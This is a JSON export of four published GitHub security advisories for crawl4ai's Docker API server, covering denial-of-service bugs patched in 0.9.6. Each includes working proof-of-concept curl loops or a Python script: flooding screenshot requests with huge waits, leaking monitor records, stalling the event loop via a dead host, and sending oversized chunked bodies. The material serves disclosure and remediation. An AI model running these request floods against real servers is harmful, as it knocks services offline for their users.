[{"ghsa_id":"GHSA-7628-8pmq-4xhq","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-7628-8pmq-4xhq","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-7628-8pmq-4xhq","summary":"Unbounded screenshot_wait_for lets 40 requests hold every browser page on the Docker server","description":"### Summary\n\nThe 0.9.5 fix for GHSA-rhjm-7hj7-75fx caps the delay fields an API client can set, but not `screenshot_wait_for`. `POST \/screenshot` passes it straight into the crawl with no limit and no deadline, and the crawler sleeps that long with a browser page open while holding one of the server's page permits. Forty requests, the default number of permits, stop every other crawl on the server for as long as the client asks.\r\n\n\n### Details\n\n`generate_screenshot()` in `deploy\/docker\/server.py` builds `CrawlerRunConfig(screenshot=True, screenshot_wait_for=body.screenshot_wait_for, ...)` directly, so the untrusted-input clamps in `crawl4ai\/async_configs.py` never run, and `ScreenshotRequest.screenshot_wait_for` in `deploy\/docker\/schemas.py` has no upper bound. The crawl strategy then runs `asyncio.sleep(config.screenshot_wait_for)`. Every `arun()` on the server holds a `GLOBAL_SEM` permit (40 by default), and `\/screenshot` has no wall-clock deadline. `POST \/crawl` also accepts `screenshot_wait_for` without a cap, bounded only by its 300 second request deadline. In a local test with the shipped configuration, 40 `\/screenshot` requests with `screenshot_wait_for` set to 1,000,000 seconds left another client's `\/crawl` without an answer, while `\/health` still reported the server as up.\r\n\n\n### Proof of concept\n\nServer: crawl4ai 0.9.5 Docker image with default settings and a valid API token in `$TOKEN`. The default page pool holds 40 permits.\r\n\r\n1. Start 40 screenshot requests against a normal page, each with a very large `screenshot_wait_for`. Each request holds a page permit for the whole wait:\r\n\r\n```bash\r\nfor i in $(seq 1 40); do\r\n  curl -s -o \/dev\/null http:\/\/localhost:11235\/screenshot -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\r\n    \"url\": \"https:\/\/example.com\/\",\r\n    \"screenshot_wait_for\": 1000000\r\n  }' &\r\ndone\r\n```\r\n\r\n2. Wait about 20 seconds, so all 40 requests have a page open and are sleeping. Then send one ordinary crawl with any valid token:\r\n\r\n```bash\r\ncurl -s -m 60 http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\"urls\": [\"https:\/\/example.com\/\"]}'\r\n```\r\n\r\n3. Check the health endpoint at the same time:\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/health\r\n```\r\n\r\nResult: the crawl in step 2 gets no answer within 60 seconds, because every page permit is held by one of the 40 screenshot requests from step 1. `\/health` in step 3 still returns `200`, so the server looks healthy even though it cannot serve any new crawl, screenshot, or PDF request. `screenshot_wait_for` of 1,000,000 seconds is about 11 and a half days, so each of the 40 requests keeps its permit for that long, or until the process restarts.\r\n\r\nLocal test, same result: against the real server app with the shipped config (40 page permits), 40 `\/screenshot` requests with `screenshot_wait_for=1000000` left a separate client's `\/crawl` request unanswered after 60 seconds, while `\/health` kept returning 200.\r\n<\/content>\n\n### Impact\n\nAny client with a valid API token can stop all crawling, screenshots and PDFs on the server for days with 40 requests, well inside the default rate limit. The server stays up and passes health checks, so the outage may not be noticed or restarted automatically.\r\n\r\n### Patch\r\n\r\n`screenshot_wait_for` is now capped at 60 seconds for untrusted callers, like the other delay fields, and `POST \/screenshot` builds its crawler config through the same untrusted loader as `POST \/crawl`, so every untrusted-input cap applies to it. Fixed in 0.9.6.\r\n\r\n### Workaround\r\n\r\nAt your reverse proxy, reject `\/screenshot` and `\/crawl` bodies with a large `screenshot_wait_for`, or give API tokens only to trusted clients.","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-7628-8pmq-4xhq","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-11-20T12:56:36Z","published_at":"2026-11-20T12:56:36Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.5","patched_versions":"0.9.6","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:H","score":6.5},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-770","name":"Allocation of Resources Without Limits or Throttling"}],"cwe_ids":["CWE-400","CWE-770"],"credits":[{"login":"TheCyberMessi","type":"reporter"},{"login":"ntohidi","type":"remediation_developer"}],"credits_detailed":[{"user":{"login":"TheCyberMessi","id":114438245,"node_id":"U_kgDOBtIwZQ","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/114438245?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/TheCyberMessi","html_url":"https:\/\/github.com\/TheCyberMessi","followers_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/followers","following_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/orgs","repos_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/repos","events_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"},{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/orgs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:H","score":6.5}},{"ghsa_id":"GHSA-2prc-jrcf-ccrm","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-2prc-jrcf-ccrm","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-2prc-jrcf-ccrm","summary":"Rejected \/crawl requests stay in the Docker server's active-request monitor forever","description":"### Summary\n\nOn the Docker API server, a `POST \/crawl` request that ends with an HTTP error, such as the 400 returned for a blocked URL, is never removed from the monitor's list of active requests. Each such request leaves a record in memory for the life of the process, and every read of `\/monitor\/requests` returns all of them. An API client can grow the server's memory and the monitor responses without limit by sending requests the server rejects.\r\n\n\n### Details\n\n`handle_crawl_request()` in `deploy\/docker\/api.py` calls `MonitorStats.track_request_start()` before it validates the request. Its `except HTTPException: raise` branch and its `asyncio.TimeoutError` branch return without calling `track_request_end()`, which is the only code that removes a record from `MonitorStats.active_requests` in `deploy\/docker\/monitor.py`. That dictionary has no size limit, and `_cleanup_old_entries()` does not age it. In a local test, 900 requests for a blocked URL were each answered with 400 and left 900 active records, and the `\/monitor\/requests` response grew from 28 to 160,766 bytes.\n\n### Proof of concept\n\n### Proof of concept\r\nServer: crawl4ai 0.9.5 Docker image with default settings and a valid API token in `$TOKEN`.\r\n\r\n1. Check how many requests the monitor currently lists as active:\r\n\r\n```bash\r\ncurl -s \"http:\/\/localhost:11235\/monitor\/requests?status=active\" -H \"Authorization: Bearer $TOKEN\"\r\n```\r\n\r\n2. Send a batch of crawl requests that the server rejects with an HTTP error. A loopback URL is blocked by default and comes back as 400:\r\n\r\n```bash\r\nfor i in $(seq 1 900); do\r\n  curl -s -o \/dev\/null http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\"urls\": [\"http:\/\/127.0.0.1\/\"]}'\r\ndone\r\n```\r\n\r\n3. Read the monitor again and compare the size:\r\n\r\n```bash\r\ncurl -s \"http:\/\/localhost:11235\/monitor\/requests?status=active\" -H \"Authorization: Bearer $TOKEN\" | wc -c\r\n```\r\n\r\nResult: every request in step 2 gets `400`, but the monitor still lists all 900 of them as active. The `\/monitor\/requests` response grows from 28 bytes to 160,766 bytes. The records are never cleared, so they sit in server memory until the process restarts, and the response keeps growing with every new rejected request.\r\n<\/content>\r\n\n\n### Impact\n\nAny client with a valid API token can make the server's memory and monitor output grow slowly and permanently, up to the request rate limit (1000 per minute by default), until the process restarts. The monitor dashboard and its WebSocket feed become slow first.\r\n\r\n### Patch\r\n\r\n`handle_crawl_request()` now ends the monitor record on every exit path, including HTTP errors, timeouts and cancelled requests. The `\/monitor` read endpoints and the `\/monitor\/ws` feed, which list every caller's requests, now also require an admin token, like the monitor actions already did. Fixed in 0.9.6.\r\n\r\n### Workaround\r\n\r\nRestart the server periodically, or lower the `\/crawl` rate limit for untrusted clients.\r\n","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-2prc-jrcf-ccrm","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-11-20T12:56:41Z","published_at":"2026-11-20T12:56:41Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.5","patched_versions":"0.9.6","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:L","score":4.3},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-401","name":"Missing Release of Memory after Effective Lifetime"},{"cwe_id":"CWE-770","name":"Allocation of Resources Without Limits or Throttling"}],"cwe_ids":["CWE-401","CWE-770"],"credits":[{"login":"TheCyberMessi","type":"reporter"},{"login":"ntohidi","type":"remediation_developer"}],"credits_detailed":[{"user":{"login":"TheCyberMessi","id":114438245,"node_id":"U_kgDOBtIwZQ","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/114438245?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/TheCyberMessi","html_url":"https:\/\/github.com\/TheCyberMessi","followers_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/followers","following_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/orgs","repos_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/repos","events_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"},{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/orgs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:L","score":4.3}},{"ghsa_id":"GHSA-363x-fqh9-cvp2","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-363x-fqh9-cvp2","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-363x-fqh9-cvp2","summary":"fetch_ssl_certificate blocks the Docker server's event loop, stalling every other request","description":"### Summary\n\nWhen a crawl sets `fetch_ssl_certificate`, the crawler opens a TCP connection and runs the TLS handshake with blocking socket calls on the asyncio event loop. On the Docker API server, which runs one worker, nothing else is served while that call waits. An API client can point a crawl at a host that never answers on port 443 and freeze the whole server, including other clients' requests and health checks, for about 10 seconds per request.\r\n\n\n### Details\n\n`AsyncPlaywrightCrawlerStrategy._crawl_web()` in `crawl4ai\/async_crawler_strategy.py` calls `SSLCertificate.from_url(url)` directly, without an executor. `SSLCertificate.from_url()` in `crawl4ai\/ssl_certificate.py` uses `socket.create_connection()` and `ssl.SSLContext.wrap_socket()` with a 10 second timeout. Untrusted request bodies may set `fetch_ssl_certificate`. In a local test against the server app, another client's `GET \/health` took 10.05 seconds instead of 0.02 seconds while one crawl targeted a host that does not answer.\r\n\n\n### Proof of concept\n\n### Proof of concept\r\nServer: crawl4ai 0.9.5 Docker image with default settings and a valid API token in `$TOKEN`.\r\n\r\n1. Pick a host that drops packets on port 443, so the TCP connect never answers (`attacker.example` below). A host that accepts the TCP connection and never finishes the TLS handshake works the same way.\r\n2. In one terminal, send a crawl that asks for the certificate:\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"https:\/\/attacker.example\/\"],\r\n  \"crawler_config\": {\"type\": \"CrawlerRunConfig\", \"params\": {\"cache_mode\": \"bypass\", \"fetch_ssl_certificate\": true}}\r\n}'\r\n```\r\n\r\n3. While step 2 is still running, call the health endpoint from a second terminal, with any valid token:\r\n\r\n```bash\r\ntime curl -s http:\/\/localhost:11235\/health -H \"Authorization: Bearer $TOKEN\"\r\n```\r\n\r\nResult: the health request in step 3 waits about 10 seconds instead of the usual 0.02 seconds, because the certificate fetch blocks the server's one event loop. Every other request to the server waits the same way while the crawl in step 2 is running. Sending a few such crawls a minute keeps the server stalled.\r\n\r\nLocal test, same result: against the real server app with one worker, a second client's `GET \/health` took 10.05 seconds while one crawl targeted a host that never answers on port 443, against 0.02 seconds beforehand.\r\n<\/content>\r\n\n\n### Impact\n\nminute keeps it down. The library used directly is affected only in the sense that the calling application's event loop pauses for the same time.\r\n\r\n### Patch\r\n\r\nThe crawl strategy now runs `SSLCertificate.from_url()` in a worker thread (`asyncio.to_thread`), so the event loop keeps serving other requests while a certificate fetch waits. Fixed in 0.9.6.\r\n\r\n### Workaround\r\n\r\nReject request bodies that set `fetch_ssl_certificate` at your reverse proxy, or give API tokens only to trusted clients.\r\n\r\n","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-363x-fqh9-cvp2","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-11-20T12:56:46Z","published_at":"2026-11-20T12:56:46Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.5","patched_versions":"0.9.6","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:H","score":6.5},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"}],"cwe_ids":["CWE-400"],"credits":[{"login":"TheCyberMessi","type":"reporter"},{"login":"ntohidi","type":"remediation_developer"}],"credits_detailed":[{"user":{"login":"TheCyberMessi","id":114438245,"node_id":"U_kgDOBtIwZQ","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/114438245?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/TheCyberMessi","html_url":"https:\/\/github.com\/TheCyberMessi","followers_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/followers","following_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/orgs","repos_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/repos","events_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"},{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/orgs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:H","score":6.5}},{"ghsa_id":"GHSA-3q59-v69g-m9vc","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-3q59-v69g-m9vc","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-3q59-v69g-m9vc","summary":"Docker server request-size limit skips chunked bodies, so one request can exhaust memory","description":"### Summary\n\nThe Docker API server limits request bodies to `limits.max_body_bytes` (10 MiB by default), but only checks the `Content-Length` header. A request sent with chunked transfer encoding has no such header, so the limit never applies and the whole body reaches the endpoint, where it is read into memory and parsed. One authenticated request can use gigabytes of memory and stop the server.\r\n\n\n### Details\n\n`BodySizeLimitMiddleware` in `deploy\/docker\/governor.py` rejects a request with HTTP 413 when its `Content-Length` header is over the limit. When the header is missing, it passes the request on without counting the bytes it receives. Its docstring says that unknown-length bodies are bounded by Gunicorn, but the packaged command only sets `--limit-request-line` and `--limit-request-fields`, which do not limit the body. In a local test, an 11 MiB body was refused with 413 when it declared its length and accepted when sent chunked, and a 500 MiB chunked body to `POST \/crawl` raised the server's memory from 180 MiB to about 2 GB.\r\n\n\n### Proof of concept\n\nServer: crawl4ai 0.9.5 Docker image with default settings and a valid API token in `$TOKEN`. `limits.max_body_bytes` is 10 MiB by default.\r\n\r\n1. Send a body over the limit with a declared `Content-Length`:\r\n\r\n```bash\r\npython3 -c \"import sys; sys.stdout.write('{\\\"urls\\\":[\\\"https:\/\/example.com\\\"],\\\"pad\\\":\\\"' + 'a'*11000000 + '\\\"}')\" > \/tmp\/big.json\r\ncurl -s -o \/dev\/null -w '%{http_code}\\n' http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' --data-binary @\/tmp\/big.json\r\n```\r\n\r\nResult: `413`.\r\n\r\n2. Send the same body with `Transfer-Encoding: chunked`, so there is no `Content-Length` header:\r\n\r\n```bash\r\ncurl -s -o \/dev\/null -w '%{http_code}\\n' -X POST -T \/tmp\/big.json http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json'\r\n```\r\n\r\n(`-T` makes curl use chunked encoding for a request body without a known length.)\r\n\r\nResult: the size limit does not apply. The body is read in full and handed to the route, which answers with an error from inside the route instead of `413`.\r\n\r\n3. Repeat step 2 with a much larger body (hundreds of MB) and watch the server container's memory with `docker stats`.\r\n\r\nResult: server memory grows by roughly the size of the body, because `BodySizeLimitMiddleware` never counts bytes on a request with no `Content-Length`. The packaged image runs one worker, so a body large enough to exhaust the container's memory stops the whole API, including `\/health`.\r\n\r\nLibrary-only reproduction against a local server, using a generator body so httpx sends it chunked:\r\n\r\n```python\r\nimport httpx\r\n\r\nMiB = 1024 * 1024\r\nH = {\"Authorization\": f\"Bearer {TOKEN}\", \"Content-Type\": \"application\/json\"}\r\n\r\ndef body(n):\r\n    yield b'{\"urls\":[\"https:\/\/example.com\"],\"pad\":\"'\r\n    for _ in range(n \/\/ MiB):\r\n        yield b\"a\" * MiB\r\n    yield b'\"}'\r\n\r\nurl = \"http:\/\/127.0.0.1:11235\/crawl\"\r\nr1 = httpx.post(url, content=b\"\".join(body(11 * MiB)), headers=H, timeout=60)\r\nprint(\"declared 11 MiB:\", r1.status_code)          # 413\r\n\r\nr2 = httpx.post(url, content=body(11 * MiB), headers=H, timeout=60)\r\nprint(\"chunked 11 MiB:\", r2.status_code)            # not 413, limit skipped\r\n```\r\n\r\nOn 0.9.6, both requests get `413`, because `BodySizeLimitMiddleware` now counts the bytes of the body as it streams in and stops reading once the limit is passed, regardless of whether `Content-Length` was sent.\r\n\n\n### Impact\n\nAny client with a valid API token can make the server run out of memory with a single large chunked request. The packaged image runs one worker, so the whole API stops, including health checks. A reverse proxy that limits body size, such as nginx with `client_max_body_size`, blocks this.\r\n\r\n### Patch\r\n\r\n`BodySizeLimitMiddleware` now counts the body bytes it receives, whatever the framing, and answers 413 as soon as a body passes the limit, without reading the rest. A declared `Content-Length` over the limit is still refused before any byte is read. Fixed in 0.9.6.\r\n\r\n### Workaround\r\n\r\nPut a reverse proxy in front of the server that limits request body size, for example `client_max_body_size 10m;` in nginx.\r\n","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-3q59-v69g-m9vc","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-11-20T12:56:51Z","published_at":"2026-11-20T12:56:51Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.5","patched_versions":"0.9.6","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:H","score":6.5},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-770","name":"Allocation of Resources Without Limits or Throttling"}],"cwe_ids":["CWE-770"],"credits":[{"login":"TheCyberMessi","type":"reporter"},{"login":"ntohidi","type":"remediation_developer"}],"credits_detailed":[{"user":{"login":"TheCyberMessi","id":114438245,"node_id":"U_kgDOBtIwZQ","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/114438245?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/TheCyberMessi","html_url":"https:\/\/github.com\/TheCyberMessi","followers_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/followers","following_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/orgs","repos_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/repos","events_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/TheCyberMessi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"},{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/or